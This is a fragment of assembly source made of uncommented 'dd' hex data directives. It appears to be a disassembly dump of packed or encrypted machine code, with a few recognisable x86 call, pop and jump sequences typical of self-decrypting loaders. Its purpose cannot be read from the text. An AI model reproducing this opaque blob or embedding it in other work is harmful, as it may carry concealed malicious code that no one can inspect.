		dd 0F9BC59B8h, 0FBB70F58h, 5AC2C081h, 8E680000h, 0F9000016h
		dd 81666059h, 8B3B89EBh, 188B61F3h, 0B802B0BAh,	90EB8105h
		dd 0E81D2433h, 5, 0F4E7E393h, 0F2816681h, 815E8399h, 1600E9EBh
		dd 6850F3Eh, 8B000000h,	121B35BDh, 0DCC38106h, 0F913FF88h
		dd 95031889h, 6121FFDh,	0F655E881h, 8D296161h, 6122365h
		dd 0F651C081h, 958B6161h, 612162Dh, 0A3850F49h,	8BFFFFFFh
		dd 123509B5h, 278D8D06h, 89061904h, 1226BDB5h, 14E906h
		dd 0AAAD0000h, 0ACAECF6Ch, 4892FEBAh, 5C51CD80h, 27CC0C06h
		dd 8D8949C1h, 61209A1h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 9CC35141h, 6E9h, 9F4B7800h, 0C70B5218h
		dd 12050585h, 647806h, 56006A00h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0FEBF0F33h, 1BD985C7h
		dd 612h, 0B70F0000h, 0B9B5FFDEh, 8A06122Dh, 3195FFE7h
		dd 0F06121Bh, 180h, 6AF900h, 19CD95FFh,	0C08B0612h, 3E1E4FEBh
		dd 0C6FE86E0h, 0DCD3B304h, 5E258EBAh, 0D16AB829h, 4531A2Dh
		dd 47413C6Eh, 0E68D0EF0h, 173DBE64h, 0E0B2D52Eh, 784338EAh
		dd 2BF3B51Dh, 0C7F511DFh, 6D94D052h, 58686EB8h,	0A2977ABCh
		dd 0D15B7821h, 0B767D38Ch, 640B963Dh, 0CE91548Dh, 10E86Ah
		dd 0CC6B0000h, 8E9194F4h, 4AE4F892h, 1CBD03D2h,	8166562Ah
		dd 59914FD7h, 0E57DBF66h, 5EB3C181h, 0FB8B0000h, 68h, 6058FC00h
		dd 1BD5B589h, 858B0612h, 6123181h, 834FF61h, 5EFBB70Fh
		dd 28818589h, 0C6810612h, 48E412FFh, 1445958Bh,	0F6810612h
		dd 1E373AECh, 10E960h, 1C140000h, 665177D3h, 126C3F42h
		dd 0D9BD2E0Fh, 895748B9h, 1234EDBDh
		dd 81615906h, 0D7E19CC6h, 56F88B01h, 8F0Fh, 48F0000h, 6D858901h
		dd 0E906121Ch, 9, 0C2A3E728h, 1502E528h, 4E88344h, 16850Fh
		dd 11E90000h, 0D6000000h, 0A18BC2ACh, 0F0EF1AD1h, 0A7D421E6h
		dd 0C25AD506h, 0A24CF881h, 850FFFFFh, 28h, 0BE9h, 0D754DB00h
		dd 334F45B5h, 37861B7Eh, 28E9h,	7643500h, 0F9C06354h, 5A69986Ah
		dd 73BF51AEh, 775C70C7h, 1E6D9D8Bh, 3EE90612h, 0D7FFFFFFh
		dd 9C28637Ch, 0BE151CD6h, 538D8DFCh, 1061906h, 1213D58Dh
		dd 0A18D8906h, 6A061209h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 33DAC352h, 8D896B9Bh
		dd 612351Dh, 50585C7h, 6E880612h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0A11296C3h
		dd 8D89DF1Ah, 6121B81h,	1BD985C7h, 612h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0C287A4C3h, 31EC8224h, 0DE9h, 6499B900h, 10A5DE2Bh
		dd 0A9071F37h, 0BD8950F0h, 61209A5h, 2381B5FFh,	8D890612h
		dd 61229C9h, 1769BD8Bh,	95FF0612h, 6121B31h, 23059529h
		dd 6A0612h, 19CD95FFh, 0C08B0612h, 270F39EBh, 417F9EAAh
		dd 8392BBA0h, 0D639AEB2h, 989057D7h, 7217916Fh,	4B45593h
		dd 899326F9h, 0E28E2120h, 2E3D3F99h, 0E8292E83h, 0FF98F5Ch
		dd 173B728Fh, 5C15AA6Ch, 0E9D4162Ah, 0CEh, 419B1A0Ah, 0CA459CD7h
		dd 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h, 0ECABDA00h
		dd 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h,	92A5BCF2h
		dd 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h,	0A3F292A5h
		dd 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h,	8A924AF0h
		dd 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h, 7D41F445h
		dd 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h,	207D20B2h
		dd 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh,	8F9D728Fh
		dd 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h, 0CD43F1B6h
		dd 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h, 5 dup(0)
		dd 6AE90000h, 68000015h, 6190958h, 0F9788CE9h, 0A8168FFh
		dd 82E90619h, 68FFF978h, 6190B6Ah, 0F97878E9h, 0CDE68FFh
		dd 6EE90619h, 68FFF978h, 6190D80h, 0F97864E9h, 0E1F68FFh
		dd 5AE90619h, 68FFF978h, 6190EE0h, 0F97850E9h, 0FB868FFh
		dd 46E90619h, 68FFF978h, 619109Ch, 0F9783CE9h, 11E968FFh
		dd 32E90619h, 68FFF978h, 61912C6h, 0F97828E9h, 141B68FFh
		dd 1EE90619h, 68FFF978h, 619150Bh, 0F97814E9h, 166268FFh
		dd 0AE90619h, 68FFF978h, 61917A0h, 0F97800E9h, 197468FFh
		dd 0F6E90619h, 68FFF977h, 6191A83h, 0F977ECE9h,	0C32F22FFh
		dd 0D7413525h, 0EF514939h, 56B6151h, 1A827767h,	42B00F7Ch
		dd 5747E54Dh, 6E5EFC60h, 87771575h, 92912F8Dh, 0F98C031h
		dd 94A77602h, 0B7150F42h, 2CE79A0Ch, 9B6BEE96h,	0FE54E31h
		dd 3E27B51Bh, 886FDD58h, 0B4AE86F0h, 2823B856h,	0BAED1586h
		dd 0DF506FE9h, 6FE9BAB7h, 2B7978C6h, 0E632B197h, 0F68E73DBh
		dd 0CC1DDA4Bh, 0DE2C69FBh, 1139AA33h, 1875FBBCh, 2C7D60CAh
		dd 75FBBC00h, 0F3C01E16h, 0CC3AAA0h, 25DBDE76h,	10766C2Ch
		dd 0A0597578h, 0A27B51C0h, 5797EEC2h, 29DEDE30h, 35000000h
		dd 0F1158C3h, 7FE90DBEh, 0E0636A43h, 11C3C435h,	0FC4A69FBh
		dd 1E7CA8F9h, 0DBB475FBh, 91D027FBh, 0C217DE2Fh, 0BD000000h
		dd 7675EA5Ch, 6EE33B24h, 0D4322C04h, 0BE261BD1h, 0AD0B05BBh
		dd 9CFAF4AAh, 406173FEh, 0B9B36FE9h, 187A7248h,	0E9415D85h
		dd 861E6C6Fh, 0A4FEF8E8h, 0B5EC85BDh, 0C435E00Ah, 6FE9E69Ch
		dd 0BABD55A3h, 2AD56C5Fh, 0FBE610B9h, 2DCB1969h, 630E9598h
		dd 1088C3F2h, 0D17CCA70h, 493E06FBh, 90288881h,	0A8A3378Dh
		dd 72DADF2Ah, 6757F58Dh, 9E180A72h, 5D79428Ah, 12E4D57Ah
		dd 74670000h, 867A6A08h, 968E7E1Ch, 0B0A69634h,	0C7BCAC4Ah
		dd 0F554C15Fh, 8C2A9287h, 0A341A59Ch, 0BC5ABAB3h, 0D674D2CCh
		dd 0DD0576D7h, 0EC760210h, 1A0F87D9h, 0FF7114B2h, 0C7BE3575h
		dd 760A6063h, 82ECD4B9h, 0B452B0AAh, 0E0636A60h, 0C737C335h
		dd 2D237C64h, 3DAF38C3h, 0E4F0E3BFh, 0DA94B19Ah, 744BC3C3h
		dd 0FEFF72DCh, 0F69FBA7h, 88153DAEh, 0D62475FBh, 0BEEA3B3Eh
		dd 0F675FB88h, 12693D1Dh, 59DE2FFCh, 0ECh, 0B7150FFFh
		dd 8B989A0Ch, 0AB67F8D1h, 0B3A85E41h, 0D0CAA04Bh, 1F837A72h
		dd 9369D2B5h, 5BCE389Ch, 6FE9A449h, 1C1DC638h, 0CD9CC435h
		dd 55A36FE9h, 6C4007C1h, 0D2302A02h, 0EC4A4434h, 0F0E80E9h
		dd 9CD13E32h, 0AE9D1A84h, 4EF76813h, 5F69FB61h,	96906611h
		dd 7A7DE1D8h, 0A4228C24h, 1721C0Fh, 75FB61D9h, 4FFA92E0h
		dd 1006C0DEh, 1631A370h, 0D37C4553h, 94DEBD27h,	0C1BF998Ah
		dd 2FDA72EEh, 51FC6459h, 1B1E867Bh, 3ADD5BC5h, 0C41C95C8h
		dd 349E9DEBh, 0DFF675Ch, 7942F99Fh, 0BBC06548h,	90000011h
		dd 0A393319Dh, 0B7A745AFh, 0CFBF5DBFh, 0E5D573D9h, 7DEA88F0h
		dd 53BBB022h, 6ACEC5B5h, 83E3DCCCh, 9DFBF5E5h, 2E9F00FFh
		dd 76021106h, 0FB00215h, 2414B21Ah, 0CEDED02Ah,	354F028Bh
		dd 0EA5CFF9Dh, 98F83441h, 235FC958h, 0B4B7150Fh, 8A604FEh
		dd 13BE2018h, 75DF493Dh, 84E2DC92h, 359894E6h, 8E00AB36h
		dd 0BE6D723Ch, 0F47FE9ACh, 0FB96E683h, 2C028B69h, 173FD234h
		dd 2675FB47h, 418F6ED8h, 78C7F447h, 0B82A9E75h,	30E4AAB5h
		dd 72EF59E2h, 0CB3DE87Bh, 3B60299h, 41CC3693h, 9357E7D0h
		dd 0FDF4CA5Bh, 0DCDF4139h, 0F65AEE86h, 43F7AF20h, 95736A0h
		dd 21A0AB06h, 18AC0576h, 5B316187h, 0B493FD67h,	0EBE5BB66h
		dd 764CEF8Dh, 0C51B1E7Ch, 0E881A91Ah, 3A886188h, 0A0FEF8D0h
		dd 0A9576CAEh, 57FCDF87h, 10D2h, 7C1A8679h, 902E988Ch
		dd 0A846A8A0h, 0BE5CC2B8h, 0D371D9CEh, 0A4990B66h, 0B7AE9E3Ch
		dd 0CCC5B553h, 0E4DECE6Ch, 88E9E886h, 212EF17h,	99EBFE76h
		dd 0B4B7150Fh, 24CF5259h, 0FB2FAEB3h, 73115F69h, 3E04FAD0h
		dd 554DE545h, 0A3F9FC5Ch, 32B1BC39h, 55BBB187h,	792FC52h
		dd 0D546D96h, 2B2E7C70h, 0E90CAEDAh, 2D0DE66Fh,	1D800259h
		dd 5C49D8h, 6AEF0000h, 0C435E063h, 69FB4BEBh, 648CFD86h
		dd 6B75FB54h, 86D4B31Dh, 0AC0C05DBh, 71E26B0Eh,	75FB5449h
		dd 0B97B0650h, 0D60AA332h, 3761D43Eh, 9A75FBDDh, 75889F11h
		dd 8A15FBFh, 0FB7C4D75h, 0A40E5C75h, 0D674D2CCh, 0E28DEDE6h
		dd 4AB4120Ch, 2F28FE67h, 0C76CCCFh, 100545h, 636AF300h
		dd 7530C8E4h, 0C35BD928h, 0C3B98F18h, 1780F35Dh, 2669F006h
		dd 0CEA42DD8h, 186E71D9h, 7EDCD6AEh, 2BB43DE0h,	20A92BAh
		dd 0B84B9976h, 76020A90h, 4649B1A6h, 39A3F1F0h,	5E096761h
		dd 39056ECh, 1781DED6h,	4FD2D934h, 7B7133A4h, 1AF07009h
		dd 53BCBF23h, 0E984BAE2h, 0DB73C16Fh, 1D87EDE3h, 163EF43Eh
		dd 6861336Bh, 0B0C7CF92h, 0B34BE34Fh, 0DA383208h, 8C1781D7h
		dd 0C05EBCB6h, 7578D6D0h, 7A40360Ch, 0C3191C86h, 4944C12Bh
		dd 65FD655Ah, 0A88849BAh, 73C169FBh, 36B68F81h,	20C5A873h
		dd 0F5Eh, 0F08EFAEDh, 4A20C00h,	1CBA1C14h, 32D0362Ch, 47E54D42h
		dd 180D7FDAh, 2B2212B0h, 403929C7h, 585242E0h, 0FC5D5CFAh
		dd 213638Bh, 5576A76h, 0E9074874h, 0B122AB6Fh, 6FE90789h
		dd 96BE2F90h, 0A56FE907h, 0D855BF57h, 1AA34ED5h, 0E4E74F44h
		dd 0E7B1248Eh, 8A69F000h, 0D689001h, 29777602h,	3932E0BFh
		dd 0C09641D9h, 0E7BD68C6h, 0A2208AF2h, 0D12F29FFh, 24958F67h
		dd 20D8BB3h, 0AC449276h, 0C45F4EA9h, 35A3A819h,	2DB67014h
		dd 0F43694BCh, 0E34D9B6Fh, 4AC4B604h, 0E1793E09h, 0EBC59FEh
		dd 9C8F0000h, 0AEA29230h, 0BEB6A644h, 0D8CEBE5Ch, 0EFE4D472h
		dd 1D7CE987h, 0B452BAAFh, 0CB69CDC4h, 0E482E2DBh, 0FE9CFAF4h
		dd 52D9EFFh, 14760214h,	150FAF01h, 4FEB4B7h, 0CF86A3A6h
		dd 7EC41BEFh, 460BD81Dh, 62000009h, 0CA34928Ch,	0E0636A8Eh
		dd 173AAC35h, 888346FFh, 0AD94CB6h, 7769F053h, 4346AAA1h
		dd 0A9D142EDh, 0B076025Bh, 0CB19F862h, 92504A20h, 0E335389Ah
		dd 0AC068959h, 0A941D99Dh, 0C3211B0Bh, 5F436FC0h, 0B9B47602h
		dd 90E7F2Ah, 38701488h,	0C80CF8EAh, 280B793Dh, 0E1D83h
		dd 0CF3B2E00h, 0E34D4131h, 0FB5D5545h, 11776D5Dh, 268E8373h
		dd 4EBC1B88h, 6353F159h, 7A6A086Ch, 93832181h, 9E9D3B99h
		dd 15A4CC3Dh, 98AB7602h, 0B7150F46h, 5CD94BB4h,	5B83F406h
		dd 626FE9E3h, 0B9528014h, 0AF150B03h, 14EC56ACh, 3B11BC1Ah
		dd 9174DE46h, 5BDDBD74h, 0ADE3FEE9h, 0CF39290Eh, 1E739BF2h
		dd 883E2D8h, 74880000h,	6FE90748h, 842FB2B9h, 0F0010413h
		dd 10BB0969h, 8E82403Ah, 0D4322C24h, 45E37BD1h,	52FD5B55h
		dd 1F22847Ch, 217C5FC9h, 0B4AE842Ah, 0D9BC356h,	54A27602h
		dd 9BA011BCh, 0FE701435h, 20CB3328h, 0F43687AFh, 0DE48966Fh
		dd 33BFB1FFh, 0C8793E09h, 0D5C40E5h, 0FCEF0000h, 0E02F290h
		dd 1E1606A4h, 382E1EBCh, 4F4434D2h, 7DDC49E7h, 14B21A0Fh
		dd 2BC92D24h, 44E2423Bh, 5EFC5A54h, 658DFE5Fh, 74760215h
		dd 0D35C0F61h, 0E9073A62h, 89F3416Fh, 0FFF9B7B1h, 0E0E34D41h
		dd 575AF28Ah, 0BB2318EEh, 0B6DE4FB8h, 0C56FE907h, 9D75DF77h
		dd 254245A3h, 360C8E6Eh, 0A6A5DD41h, 0FA6B4FD6h, 0C41BF862h
		dd 0B9D81E3Bh, 878AEAE3h, 0B28EC731h, 34000007h, 3A62D35Ch
		dd 416FE907h
		dd 96A0E1F7h, 861EB26Bh, 0B5AC9F1Ch, 70655DBBh,	3CC57008h
		dd 0CF0F96CAh, 1F890ADEh, 0F0E184ACh, 923D8B69h, 0C664C2BCh
		dd 7B7EDCD6h, 2DEFE2Ah,	0E57C6F76h, 2B76C83Ah, 2FA8E423h
		dd 78CED13Bh, 7AEB76E0h, 7014A375h, 94544694h, 53793DDBh
		dd 0C84CB70h, 0D4C70000h, 0E6DACA68h, 0F6EEDE7Ch, 1006F694h
		dd 271C0CAAh, 55B421BFh, 0EC8AF2E7h, 3A105FCh, 1CBA1A13h
		dd 36D4322Ch, 3D65D637h, 4C760216h, 150FE739h, 4FEB4B7h
		dd 2B25FBA6h, 0A74CACDh, 157B7127h, 0EB685C12h,	0E907527Ah
		dd 730B596Fh, 7C5C1370h, 0BC54B4ADh, 0F2C6A65Dh, 0D81D7E9Bh
		dd 6F0E2h, 3FB03900h, 6FE8FF17h, 326ED826h, 0D94AD35Ch
		dd 6FE907B1h, 0AFD76AB8h, 0BE6FE907h, 6A930670h, 0D56FE907h
		dd 696238D6h, 1DB00609h, 6FE907F5h, 731EB604h, 0F000F502h
		dd 9E0F9869h, 76020D76h, 0EECD3785h, 251FF5A0h,	22931CC7h
		dd 76020DFAh, 0ACAB1308h, 8676F45Eh, 0D02B2E8Ch, 9AC233DDh
		dd 0A176020Dh, 9F10BB53h, 70142712h, 2951C223h,	306FF427h
		dd 0E584AE2h, 4D793E19h, 0BA0C56Ah, 0B8AB0000h,	0CABEAE4Ch
		dd 0DAD2C260h, 0F4EADA78h, 0B00F08Eh, 399805A3h, 0D06ED6CBh
		dd 0E785E9E0h, 9EFEF7h,	1AB81610h, 2149BA1Bh, 28760217h
		dd 150FC315h, 4FEB4B7h,	0CE87A3A6h, 0C7251FEEh,	7ADD3429h
		dd 60D2D81Dh, 0D5BEFA8Fh, 0DD1680B5h, 14Bh, 123AAB34h
		dd 206FE86Fh, 18C6C529h, 63B9BC22h, 0F2561CBh, 0B33A415h
		dd 126FE907h, 0AB812CC4h, 0F94F52B2h, 0FCF6AC8Fh, 606B009Eh
		dd 0D7AD36E1h, 207679E3h, 65CF2F28h, 0FB1E35F2h, 13166469h
		dd 0FB2296C2h, 15F5CE75h, 2F99EA41h, 3731DEh, 6AD70000h
		dd 0C435E063h, 69FB11C3h, 5078E94Ah, 5F75FB1Eh,	25767911h
		dd 75FB1DF9h, 0A4785831h, 0DE2F924Dh, 2048B942h, 2F75FB12h
		dd 0B13E77E1h, 95000000h, 0FA64C8BFh, 0B7150FBEh, 0A109FEB4h
		dd 94EEE89Eh, 0F5E0E8A9h, 69CFA449h, 0F89EE67Ah, 75DFD3CBh
		dd 2A24DADDh, 81A32ECCh, 936FE952h, 7EE6DB99h, 0EF8D257Bh
		dd 7C70535Ah, 21B90F12h, 0BC650576h, 43A469FDh,	4E461DD1h
		dd 8417D962h, 75FD235Ch, 1211716Ah, 231840B1h, 0D92775FDh
		dd 28FEA941h, 4A20CB33h, 583ED55h, 0C6B82015h, 73351C96h
		dd 5329CEB1h, 0F800000Ah, 0BFB9905h, 1F0FAD17h,	3727C527h
		dd 4D3DDB41h, 0E552F058h, 0BB23188Ah, 0D2362D1Dh, 0EB4B4434h
		dd 5635D4Dh, 96076867h,	7602186Eh, 0F186A7Dh, 2414B21Ah
		dd 0DA2ECC2Ah, 0B4B7150Fh, 8A604FEh, 3693F365h,	9683E3C8h
		dd 4D3652Ch, 5C130000h,	292C8E86h, 7274FC0h, 0E8366FE9h
		dd 6269E650h, 32C334DFh, 0FB69FB1Fh, 0B841AAADh, 0FB1F1F47h
		dd 0DD3B3575h, 378584DAh, 1F2E5ACDh, 8D6675FBh,	5E552BADh
		dd 1D8EF7FAh, 75FB1FF5h, 0B41EB604h, 2F9280D7h,	0A69F75DEh
		dd 0F9A3DC46h, 49000001h, 2E8C865Ch, 72A51C4h, 96956FE9h
		dd 0E8EF600Bh, 3569F000h, 6C663CE7h, 8680700Eh,	0C3CA2528h
		dd 97249540h, 0FA701427h, 0C8CB2B24h, 0DB290872h, 3E1961E9h
		dd 42E7CA79h, 976h, 0D876E2D5h,	0EC8AF4E8h, 4A204FCh, 1AB81E14h
		dd 2FCD352Ah, 0F567C2h,	130AFA98h, 282111AFh, 403A2AC8h
		dd 0E44544E2h, 2194B73h, 0ED3F5276h, 0B4B7150Fh, 0A3A604FEh
		dd 1FEECE87h, 3429C725h, 0D81D7ADDh, 0A604FCD2h, 0B662242Bh
		dd 0D943DB71h, 167A0h, 0D35C4600h, 0E9073A62h, 89F3416Fh
		dd 5659B7B1h, 0F3E8A6A0h, 0C055F38Bh, 28B36CDh,	0CBCE382Ch
		dd 0DB980B75h, 0EA69FB1Dh, 0A730999Ch, 0FB220E36h, 766F1D75h
		dd 62D37E16h, 75FB223Ah, 1689F341h, 75FB22EAh, 0E7694922h
		dd 59F42275h, 305CBB2Bh, 9F836D96h, 0D9B620B8h,	0DE2FBF82h
		dd 3AC9h, 636A6F00h, 0D6AC35E0h, 9D107AE0h, 69FB119Ch
		dd 0B5C5FADh, 75FB1EDFh, 9699FFF5h, 7F82ECE0h, 1C8B6B22h
		dd 0B98D6D46h, 0DE2F9262h, 0B3A9h, 0DE8E0000h, 47388F82h
		dd 0FC5016Bh, 0FEB4B715h, 9EFDA509h, 0FF5A6AAEh, 0B4AE6467h
		dd 5AAD243h, 63B16FEAh,	51F47B8h, 0E02E6FEAh, 958F4548h
		dd 0DC0E9937h, 0F26FEA54h, 66EF9AF8h, 0E9B4CDF5h, 3A2EDC6Fh
		dd 50CE38D0h, 8631B0BBh, 0FE5B7515h, 9B469469h,	0CA68D0C5h
		dd 52D9E27h, 1475FD0Dh,	8F845CC6h, 330B3527h, 290C7335h
		dd 82184h, 0CB372A00h, 0DF493D2Dh, 0F7595141h, 0D736959h
		dd 228A7F6Fh, 4AB81784h, 5F4FED55h, 76660468h, 8F7F1D7Dh
		dd 9A993795h, 1BA0C839h, 9CAF7602h, 0B21A0F4Ah,	0E50D7E07h
		dd 0F46FE907h, 0CEBE3CA6h, 84D876D4h, 0B4B7150Fh, 2951C24Bh
		dd 306FE907h, 91298982h, 0F7554F27h, 2744B659h,	64F856C1h
		dd 8A7C43ADh, 2A000002h, 35E0636Ah, 0F00257C4h,	28B13A69h
		dd 20E8FB7h, 0BD509E76h, 76020E95h, 0DEC56A4h, 0CA53BCBFh
		dd 20E3159h, 80EA3876h,	20EE10Dh, 60401976h, 3682358Ch
		dd 2067CDEh, 5C220000h,	0DE2C9286h, 157E8B0Bh, 0D88E9129h
		dd 277D80DEh, 4B73E48Fh, 526FE937h, 279A04h, 6F6FE937h
		dd 0C93AE57Ch, 69F03264h, 9B01F7A5h, 88825803h,	0A29C8C2Ah
		dd 0E7E64144h, 0B340B15Ch, 82701457h, 27FC4234h, 2C0F793Eh
		dd 73187h, 0BB271A00h, 0CF392D1Dh, 0E7494131h, 0FD635949h
		dd 127A6F5Fh, 3AA80774h, 4F3FDD45h, 6656F458h, 7F6F0D6Dh
		dd 8A892785h, 1C90B829h, 8C9F7602h, 0B7150F3Ah,	0DE3C360Ch
		dd 0E1DB9174h, 0AB648083h, 0A402FCCBh, 7ABA1106h, 3DAFD81Dh
		dd 0FF938AE4h, 0EA544843h, 1F991E7h, 13AA40Ch, 158h, 62D35CA7h
		dd 6FE9073Ah, 0B189F341h, 25185DB7h, 31A5064Fh,	46DE4239h
		dd 0C04DA43h, 6E6840AAh, 5DCF7210h, 7E54441Bh, 40BD2700h
		dd 9A0BB64Dh, 69FBC2DDh, 4A9B9EECh, 75FBC51Eh, 1B9D7D56h
		dd 0AD51FEA9h, 2D9769ECh, 3032F950h, 4940DEh, 5CE60000h
		dd 8B328C86h, 3924C234h, 0D24FB951h, 7EF24CDBh,	99C3EEA7h
		dd 0E4E55601h, 2569FB17h, 0C6A0AEDBh, 0FB7C2D55h, 5AEE3C75h
		dd 6BD9D4A0h, 0CB0F1CA5h, 70AA23Ah, 0FB188AB6h,	9E9C275h
		dd 2F8BDE35h, 9725DEh, 0FCB0000h, 0FEB4B715h, 0E89EA109h
		dd 0D78D90EEh, 3EE17FDDh, 4C781DCCh, 40AAECFFh,	0E9B38BCDh
		dd 69C7C16Fh, 5D5228CBh, 329CF2F5h, 802BB6B5h, 0FDFA6F0Fh
		dd 0A5509E69h, 1A12DACFh, 9F7520B8h, 89EFE5A7h,	0ED98EEF1h
		dd 0FDEE547Ch, 0A30D5B75h, 0D8403525h, 34514EE6h, 21C6A973h
		dd 5DAh, 74127E71h, 88269084h, 0A03EA098h, 0B654BAB0h
		dd 0CB69D1C6h, 9C91035Eh, 0AFA69634h, 0C4BDAD4Bh, 0DCD6C664h
		dd 80E1E07Eh, 21DE70Fh,	91E3F676h, 14B21A0Fh, 2ECC2A24h
		dd 0B7150FDAh, 0A604FEB4h, 632908h, 0FF880000h,	7DD0576h
		dd 9EEC6FE9h, 0E907E30Bh, 6698556Fh, 19AF6ECFh,	2662CC1Ah
		dd 2892865Ch, 0B324CF25h, 6FE9078Bh, 2DA4492h, 0DF00AE08h
		dd 0E882BB39h, 0EE44D50h, 744CB614h, 0BC191C7Ah, 5C562505h
		dd 59CA53FEh, 6FE95D31h, 5DF31B8Ch, 0ACFA6FE9h,	77F55FADh
		dd 2F98h, 2C21F700h, 16BC1C4h, 62D35CC5h, 6FE9073Ah, 0B189F341h
		dd 55659B7h, 6FE907D8h,	0A77656F5h, 0EB14FADh, 0DBDE4038h
		dd 0CACD2B25h, 3672DC74h, 2E8C865Ch, 936BD52Bh,	8FB72899h
		dd 9E6FE907h, 0FA92FCF0h, 9045F62h, 26BE241Ah, 2A10A7Bh
		dd 5AA869F0h, 81DFD9AFh, 9BF9F3E3h, 0B34E3D98h
		dd 7D59708h, 0A2F07009h, 692721F7h, 0B2080B75h,	928C7C1Ah
		dd 0D7D63134h, 0E849B150h, 9C345801h, 6EDF68F1h, 6FE98B46h
		dd 2A9D0755h, 69FB9A69h, 426052A0h, 197336A4h, 49C9136h
		dd 0BCAF0000h, 0CEC2B250h, 0DED6C664h, 0F8EEDE7Ch, 0F04F492h
		dd 3D9C09A7h, 0D472DACFh, 0EB89EDE4h, 4A202FBh,	1EBC1A14h
		dd 254DBE1Fh, 3476021Eh, 150FCF21h, 3E360CB7h, 1983D9DCh
		dd 2A22F89Bh, 8C865EC8h, 7B752B2Eh, 5500721Dh, 74B4044Ch
		dd 7C987BE5h, 1A14E3C3h, 67FF675Ch, 237DD4C9h, 3DC4D81Eh
		dd 6A000000h, 35E0636Ah, 0FB4BEBC4h, 39E43269h,	6C0A6A63h
		dd 0FB54B7E1h, 75D3CD75h, 97FFF4CAh, 0C6BFAF2Dh, 0C132BB66h
		dd 75FB5499h, 94FEF2A0h, 0ABA33B91h, 0F94F52B2h, 0FB07AC8Fh
		dd 0B5000003h, 0B4B7150Fh, 0FBA604FEh, 0D5CD2B25h, 1F7578E0h
		dd 0ABA237B5h, 3FFC6D18h, 4E69FB1Eh, 80ACFD00h,	9675FB22h
		dd 81373AA0h, 67CFC48Ch, 0AF68CCCFh, 0B4DC4DCFh, 0BB75FB22h
		dd 26FFD56Dh, 9A1B7246h, 2062DE2Fh, 8000000h, 35E0636Ah
		dd 0FB11C3C4h, 0F9FC4A69h, 0FB1E7CA8h, 0FBDBB475h, 2F91D027h
		dd 10517DEh, 0FBD0000h,	830CB715h, 0E907EA12h, 39A3F16Fh
		dd 997BED56h, 179F1690h, 938860CAh, 0E9BF282Bh,	1F888BF5h
		dd 0E9C986AEh, 0AF47956Fh, 0C96B9304h, 24726FE9h, 8AE8E2BAh
		dd 79D7D187h, 0C43E50DBh, 0AB1D6FE9h, 3FB0A190h, 6FE98317h
		dd 7944D826h, 6ED8CC29h, 137D156Bh, 5FD0413Bh, 6FE9FB37h
		dd 0B560F846h, 0FB93BB2Ch, 4C9A6FE9h, 7A7464E2h, 0C75FC7BCh
		dd 0DF6269C4h, 190AC334h, 0DE6769FCh, 0FBDD456Dh, 0E065475h
		dd 57ADB01Ah, 3CAD0EEDh, 75FBDD14h, 2149BA1Bh, 2875FBDDh
		dd 0CAA42DAh, 988D7477h, 3FD72D30h, 7F8D2394h, 42907010h
		dd 4CCC197h, 7210A80Eh,	0A1FFF9CFh, 6DE489Eh, 0E1B7A911h
		dd 667942BFh, 2C8DE83h,	90830000h, 0A2968624h, 0B2AA9A38h
		dd 0CCC2B250h, 0E3D8C866h, 1170DD7Bh, 0A846AEA3h, 0BF5DC1B8h
		dd 0D876D6CFh, 0F290EEE8h, 0F92192F3h, 760220h,	1A0F9BEDh
		dd 2A2414B2h, 5CDA2ECCh, 0A107FDD3h, 0E907E60Eh, 3DA7F56Fh
		dd 8B36CDC0h, 0F25CBCB5h, 11F5F667h, 0C61469FBh, 8B845AC3h
		dd 224EC12Bh, 5A75FB1Eh, 76CDA181h, 0BDDE2F91h,	0E4h, 62D35C63h
		dd 6FE9073Ah, 31997CACh, 1007E53h, 777149B3h, 585BC5B9h
		dd 1D1C6C06h, 0FA7EEFCh, 0C9BE7477h, 0DA50B01h,	35A7B90Ah
		dd 938D6FE9h, 0ADA79735h, 0FAF14C4Fh, 0F7A8406Bh, 1105A232h
		dd 0B64EA4A7h, 6063C7BEh, 3EC7720Ah, 851C44B5h,	6776FE9h
		dd 6FE985DEh, 52A09FEDh, 72D23BBEh, 0E953AB2Eh,	0FB9ABD76h
		dd 554A2069h, 2A94EAEDh, 0CA5FFD4Bh, 249540C3h,	701002EDh
		dd 6EF7A2F0h, 0F006D5FDh, 3E36E46Fh, 0EB83D9DCh, 2B20F681h
		dd 403525C3h, 38B0E6D8h, 0A88B7942h, 1B903h, 339F9200h
		dd 47B1A595h, 5FC1B9A9h, 75DBD1C1h, 8AF2E7D7h, 0B2207FECh
		dd 0C7B755BDh, 0DECE6CD0h, 0F7E785E5h, 2019FFDh, 210830A1h
		dd 4177602h, 521A0FB2h,	41F7FA58h, 90E6E947h, 0D2C260F8h
		dd 88DC7AD8h, 0B4B7150Fh, 229304FEh, 6FE907FAh,	7D1BB301h
		dd 3235938Dh, 0A24DD4D7h, 0FB003031h, 0E08BD969h, 0AEB1110Ah
		dd 0B40BEE58h, 0E911820Bh, 0F075FB0Dh, 0B79738A2h, 16B5F35h
		dd 67C5BF97h, 75F2E6BCh, 0FB0DDC04h, 0FD95E375h, 0BC3AA4FAh
		dd 0F29D2427h, 0BDC0261Ch, 0BFE2D367h, 0EF85999h, 0ABA819A4h
		dd 5A700D3Ch, 5953090Ch, 8EDE50FBh, 0A92ABF70h,	5A10F35Dh
		dd 47FD0062h, 91E8EB51h, 0E483F2D2h, 2149BA43h,	286FE97Eh
		dd 7E2E56C7h, 0EF3D6FE9h, 6C4CED57h, 0C36EF5F8h, 0FB865552h
		dd 0BB60469h, 71153A99h, 42AC28E7h, 564B21C4h, 0B2AC84EEh
		dd 0A29B5154h, 9D0E9742h, 75FBD575h, 2D30948Bh,	208AD8D7h
